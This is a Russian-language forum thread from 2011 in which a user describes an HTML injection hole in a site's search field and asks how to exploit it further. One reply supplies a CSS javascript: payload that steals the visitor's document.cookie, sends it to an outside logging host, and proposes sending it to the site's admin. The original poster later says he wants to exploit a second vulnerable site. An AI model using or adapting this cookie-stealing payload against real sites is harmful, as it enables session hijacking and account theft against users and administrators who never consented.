На одном сайте, нашёл огромную дыру.
в поле поиска ввожу
<div style="margin: -100px -350px;"><img src="http://cstirke.ru/_ld/2/47457325.jpg"></div>
Ну, и мне выводит, думаю, сами понимаете, что.
Вопрос: что с этим можно сделать по-толковей ?
Спустя 1 минута, 59 секунд (17.01.2011 - 23:53) twin написал(а):
Забыть. Или турма твой дом.
А лучше, как истинному хакеру, сообщить владельцу.
А лучше, как истинному хакеру, сообщить владельцу.
Спустя 1 минута, 4 секунды (17.01.2011 - 23:54) RCuPeR написал(а):
А может, что-то да получится? пробовал SQL-запрос пихнуть - ничего не получилось.
Спустя 1 минута, 4 секунды (17.01.2011 - 23:56) RCuPeR написал(а):
Владельцу уже сообщил, но пока тот отвечает на ЛС, думаю как ешё можно использовать этот баг.
Спустя 3 дня, 17 часов, 43 минуты, 22 секунды (21.01.2011 - 17:39) vikrorpert написал(а):
можете запихнуть строку
background-image:url('javascript:new Image().src="http://host.com/_sandbox/log.cgi?c=" + encodeURI(document.cookie);');и выслать ее админу
Спустя 2 минуты, 27 секунд (21.01.2011 - 17:41) RCuPeR написал(а):
Ну это понятно, думал, что можно, что-то более полезное сделать =(
Спустя 14 минут, 16 секунд (21.01.2011 - 17:56) inpost написал(а):
RCuPeR
Покажи нам =)
Покажи нам =)
Спустя 11 минут, 41 секунда (21.01.2011 - 18:07) RCuPeR написал(а):
Локальный ресурс.
Спустя 15 минут, 2 секунды (21.01.2011 - 18:22) inpost написал(а):
RCuPeR
А если тебя ЛОКАЛЬНО найдут, и ЛОКАЛЬНО накажут?
А если тебя ЛОКАЛЬНО найдут, и ЛОКАЛЬНО накажут?
Спустя 14 минут, 19 секунд (21.01.2011 - 18:37) RCuPeR написал(а):
Я сообщил ЛОКАЛЬНОМУ провайдеру, что на его ЛОКАЛЬНОМУ портале дыра, за что получил пол года халявного инета =)
Но есть ещё один сайт с этой дырочкой, вот думаю, как удачно его использовать.
Но есть ещё один сайт с этой дырочкой, вот думаю, как удачно его использовать.
Спустя 12 минут, 15 секунд (21.01.2011 - 18:49) DedMorozzz написал(а):
Я сообщил ЛОКАЛЬНОМУ провайдеру, что на его ЛОКАЛЬНОМУ портале дыра, за что получил пол года ЛОКАЛЬНОГО инета =)
Спустя 1 минута, 39 секунд (21.01.2011 - 18:51) RCuPeR написал(а):
Не-не-не. Всё, хорошо
_____________
Гнусный социопат с комплексом Бога.